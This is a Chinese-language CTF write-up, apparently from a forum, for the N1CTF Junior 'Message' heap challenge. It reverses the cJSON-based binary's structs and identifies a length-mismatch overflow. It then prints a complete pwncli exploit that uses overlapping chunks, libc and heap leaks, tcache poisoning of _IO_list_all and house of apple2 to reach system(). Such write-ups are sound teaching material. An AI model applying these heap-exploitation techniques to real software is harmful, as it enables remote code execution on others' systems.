N1CTF Junior 3rd(Jeopardy) Message wp
0x0 前言这道题是披着cJSON库外衣的简单题,而难点就在于逆向,只要分析出程序逻辑,基本就能看出漏洞在哪,也能很方便地利用
0x1 逆向结构体
首先,cJSON库是网上开源的,可以从网上找到其源代码。这里直接贴出json node的结构体代码:
typedef struct cJSON
{
/* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */
struct cJSON *next;
struct cJSON *prev;
/* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */
struct cJSON *child;
/* The type of the item, as above. */
int type;
/* The item's string, if type==cJSON_Stringand type == cJSON_Raw */
char *valuestring;
/* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */
int valueint;
/* The item's number, if type==cJSON_Number */
double valuedouble;
/* The item's name string, if this item is the child of, or is in the list of subitems of an object. */
char *string;
} cJSON;
经过cJSON_Parse得到的结构体以及其子节点都是cJSON结构体。
Template结构体定义如下:
struct Template
{
__int64 flag;
int author_lens;
int content_lens;
Message *message;
Note *note;
};
Note结构体定义如下:
struct Note
{
int size;
int id;
Note *next;
char content[];
};
注意,其大小是可变的,由内容决定。由于其只有很少变量,所以很适合用来布局堆风水。
MessageInfo结构体定义如下:
struct MessageInfo
{
int author_offset;
int author_lens;
int date_offset;
int date_len;
int receiver_offset;
int receiver_lens;
int priority_offset;
int priority_len;
int content_offset;
int content_lens;
};
MessageInfo结构体用于描述Message包含的内容的所有元数据信息,包括各字段的偏移。
MessageContent结构体定义如下:
struct MessageContent
{
char author_name;
char context_text;
char receiver_buf;
};
该结构体包含Message的所有内容,其作为从json中接收数据的中间结构。
Message结构体定义如下:
struct Message
{
int msg_size;
MessageInfo info;
Message *next;
char content[];
};
content大小是可变的,在create_message时由MessageInfo和MessageContent共同决定。
创建template的json的格式如下:
{
"author": {
"lens": author_lens
},
"content": {
"type": _type,
"lens": content_lens
},
"extensions": extensions
}
创建message的json格式如下:
{
"author": author_name,
"content": {
"type": _type,
"content": content
...
}
}
我这里没有逆向extensions各子功能的结构,因为那些子功能就算有漏洞也很难利用。我将用最简单的方式getshell。
0x2 菜单逻辑
(符号表等详细逆向代码见附件,用ida9.0打开即可。)
create_template函数:根据json创建Template。注意,这里的content_lens是通过type来确定的,但是type并没有保存在任何变量中。
content_lens = (cJSON *)cJSON_GetObjectItem(content, "lens");
if ( !content_lens )
{
puts("No content lens");
exit(1);
}
if ( !cJSON_IsNumber((__int64)content_lens) )
{
puts("Invalid content lens");
exit(1);
}
if ( content_lens->valueint > 32 )
{
puts("Content too long");
exit(1);
}
content_type = (cJSON *)cJSON_GetObjectItem(content, "type");
if ( !content_type )
{
puts("No content type");
exit(1);
}
if ( !cJSON_IsString((__int64)content_type) )
{
puts("Invalid content type");
exit(1);
}
if ( !strcmp(content_type->valuestring, "text") )
{
templates->content_lens = 16;
}
else
{
if ( strcmp(content_type->valuestring, "bytes") )
{
puts("Invalid content type");
exit(1);
}
templates->content_lens = content_lens->valueint;
}
delete_template函数:删除Template和其内的所有Message和Note。
create_message函数:根据json创建Message。当没有extensions时,Message的content数组就是json里的content里的值。注意,这里再一次根据用户的type来验证content的长度,但是message_dup函数里直接使用Template的content_lens作为复制长度。
// create_message
content = cJSON_GetObjectItem((__int64)json, "content");
if ( !content )
{
puts("No content");
exit(1);
}
if ( !(unsigned int)cJSON_IsObject(content) )
{
puts("Invalid content");
exit(1);
}
content_type = (cJSON *)cJSON_GetObjectItem(content, "type");
if ( !content_type )
{
puts("No content type");
exit(1);
}
if ( !cJSON_IsString((__int64)content_type) )
{
puts("Invalid content type");
exit(1);
}
if ( !strcmp(content_type->valuestring, "text") )// 没有一致性校验
{
content_text = (cJSON *)cJSON_GetObjectItem(content, "content");
if ( !content_text )
{
puts("No content text");
exit(1);
}
if ( (unsigned int)strlen(content_text->valuestring) != 0x10 )
{
puts("Invalid content length");
exit(1);
}
strncpy(message_content.context_text, content_text->valuestring, 0x10uLL);
message_info.content_offset = len;
message_info.content_lens = 0x10;
msg_size = len + 0x10;
}
else
{
if ( strcmp(content_type->valuestring, "bytes") )
{
puts("Invalid content type");
exit(1);
}
content_bytes = (cJSON *)cJSON_GetObjectItem(content, "content");
if ( !content_bytes )
{
puts("No content bytes");
exit(1);
}
content_lens = strlen(content_bytes->valuestring);
if ( content_lens != templates->content_lens )
{
puts("Invalid content length");
exit(1);
}
strncpy(message_content.context_text, content_bytes->valuestring, content_lens);
message_info.content_offset = len;
message_info.content_lens = content_lens;
msg_size = content_lens + len;
}
// message_dup
memcpy(cptr, message_content->context_text, template_1->content_lens);
show_messages函数:输出Message的各项信息。用于泄露地址不如Note好用。
create_note函数:创建Note。
show_note函数:显示Note内容。
delete_note函数:删除Note。
edit_note函数:修改Note内容。
0x3 菜单交互
由上面的分析可写出菜单交互代码如下:
from pwncli import *
import json
elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
# --------
def menu(choice):
sla(b"Choice: ", str(choice).encode())
def create_template(idx, author_lens, extensions, _type, content_lens):
menu(1)
sla(b"Template idx: ", str(idx).encode())
tmpl = {
"author": {
"lens": author_lens
},
"content": {
"type": _type,
"lens": content_lens
},
"extensions": extensions
}
sla(b"Template: ", json.dumps(tmpl).encode())
def delete_template(idx):
menu(2)
sla(b"Template idx: ", str(idx).encode())
def create_message(idx, _type, content, author_name="a"*8):
menu(3)
sla(b"Template idx: ", str(idx).encode())
message = f"""{{
"author": "{author_name}",
"content": {{
"type": "{_type}",
"content": "{content}"
}}
}}"""
sla(b"Message: ", message.encode())
def show_message(idx):
menu(4)
sla(b"Template idx: ", str(idx).encode())
def create_note(idx, note_id, note_size, content=b"a"):
menu(5)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
sla(b"Note size: ", str(note_size).encode())
sa(b"Note content: ", content)
def show_note(idx, note_id):
menu(6)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
ru(b"Note content: ")
def delete_note(idx, note_id):
menu(7)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
def edit_note(idx, note_id, content):
menu(8)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
sa(b"Note content: ", content)
0x4 思路
根据上面对函数的分析,我们可以这样设想:
[*]首先创建type为bytes的Template,长度为a(>0x10)。
[*]然后创建type为bytes的Message,长度为a。
[*]然后创建type为text的Message,长度为0x10。
第三步创建的Message虽然长度为0x10,但是复制长度为a,如果第二步创建的Message的内容精心设计,那么超出的那部分就可控了,因为create_message函数并没有调用memset将message_content全部清零。
总体的思路如下:
1. 构造溢出覆盖Note的size字段,造成堆重叠。
# 越界改size,堆重叠
create_template(0, 8, [], "bytes", 0x1a)
create_message(0, "bytes", "b"*0x18 + "\x21\x02")
create_note(0, 0, 0x40) # message1
create_note(0, 1, 0x100)
delete_note(0, 0)
create_message(0, "text", "b"*0x10)
delete_note(0, 1)
create_note(0, 1, 0x200)
改完后堆结构如下:
2. 通过越界读泄露heap基址和libc基址。
# 泄漏libc
create_note(0, 2, 0x500)
create_note(0, 3, 0x500)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x521))
libc.address = u64(r(8)) - 0x21ace0
success(f"{libc.address = :x}")
delete_note(0, 3)
# 泄漏heap地址
create_note(0, 2, 0x200)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x221))
heapbase = u64(r(8)) << 12
success(f"{heapbase = :x}")
3. 篡改tcache的next指针指向_IO_list_all,将_IO_list_all改成我们构造好的IO_file。这里使用house of apple来完成攻击。
# 打_IO_list_all
create_note(0, 2, 0x200)
create_note(0, 3, 0x200)
delete_note(0, 3)
delete_note(0, 2)
payload = b"a" * 0x108 + fit(0x221, (heapbase >> 12) ^ (libc.sym._IO_list_all - 0x10))
edit_note(0, 1, payload)
heapaddr = heapbase + 0x840
payload = b'\0' * 0x30 + IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
heapaddr, libc.sym._IO_wfile_jumps, libc.sym.system
)
create_note(0, 4, 0x200, payload)
create_note(0, 5, 0x200, p64(heapaddr))
4. 让程序调用exit函数退出。
0x5 完整exp
from pwncli import *
import json
elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
# --------
def menu(choice):
sla(b"Choice: ", str(choice).encode())
def create_template(idx, author_lens, extensions, _type, content_lens):
menu(1)
sla(b"Template idx: ", str(idx).encode())
tmpl = {
"author": {
"lens": author_lens
},
"content": {
"type": _type,
"lens": content_lens
},
"extensions": extensions
}
sla(b"Template: ", json.dumps(tmpl).encode())
def delete_template(idx):
menu(2)
sla(b"Template idx: ", str(idx).encode())
def create_message(idx, _type, content, author_name="a"*8):
menu(3)
sla(b"Template idx: ", str(idx).encode())
message = f"""{{
"author": "{author_name}",
"content": {{
"type": "{_type}",
"content": "{content}"
}}
}}"""
sla(b"Message: ", message.encode())
def show_message(idx):
menu(4)
sla(b"Template idx: ", str(idx).encode())
def create_note(idx, note_id, note_size, content=b"a"):
menu(5)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
sla(b"Note size: ", str(note_size).encode())
sa(b"Note content: ", content)
def show_note(idx, note_id):
menu(6)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
ru(b"Note content: ")
def delete_note(idx, note_id):
menu(7)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
def edit_note(idx, note_id, content):
menu(8)
sla(b"Template idx: ", str(idx).encode())
sla(b"Note ID: ", str(note_id).encode())
sa(b"Note content: ", content)
# 越界改size,堆重叠
create_template(0, 8, [], "bytes", 0x1a)
create_message(0, "bytes", "b"*0x18 + "\x21\x02")
create_note(0, 0, 0x40) # 用作message
create_note(0, 1, 0x100)
delete_note(0, 0)
create_message(0, "text", "b"*0x10)
delete_note(0, 1)
create_note(0, 1, 0x200)
# 泄漏libc
create_note(0, 2, 0x500)
create_note(0, 3, 0x500)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x521))
libc.address = u64(r(8)) - 0x21ace0
success(f"{libc.address = :x}")
delete_note(0, 3)
# 泄漏heap地址
create_note(0, 2, 0x200)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x221))
heapbase = u64(r(8)) << 12
success(f"{heapbase = :x}")
# 打_IO_list_all
create_note(0, 2, 0x200)
create_note(0, 3, 0x200)
delete_note(0, 3)
delete_note(0, 2)
payload = b"a" * 0x108 + fit(0x221, (heapbase >> 12) ^ (libc.sym._IO_list_all - 0x10))
edit_note(0, 1, payload)
heapaddr = heapbase + 0x840
payload = b'\0' * 0x30 + IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
heapaddr, libc.sym._IO_wfile_jumps, libc.sym.system
)
create_note(0, 4, 0x200, payload)
create_note(0, 5, 0x200, p64(heapaddr))
menu(9)
# --------
ia()
学习了,感谢大佬
页:
[1]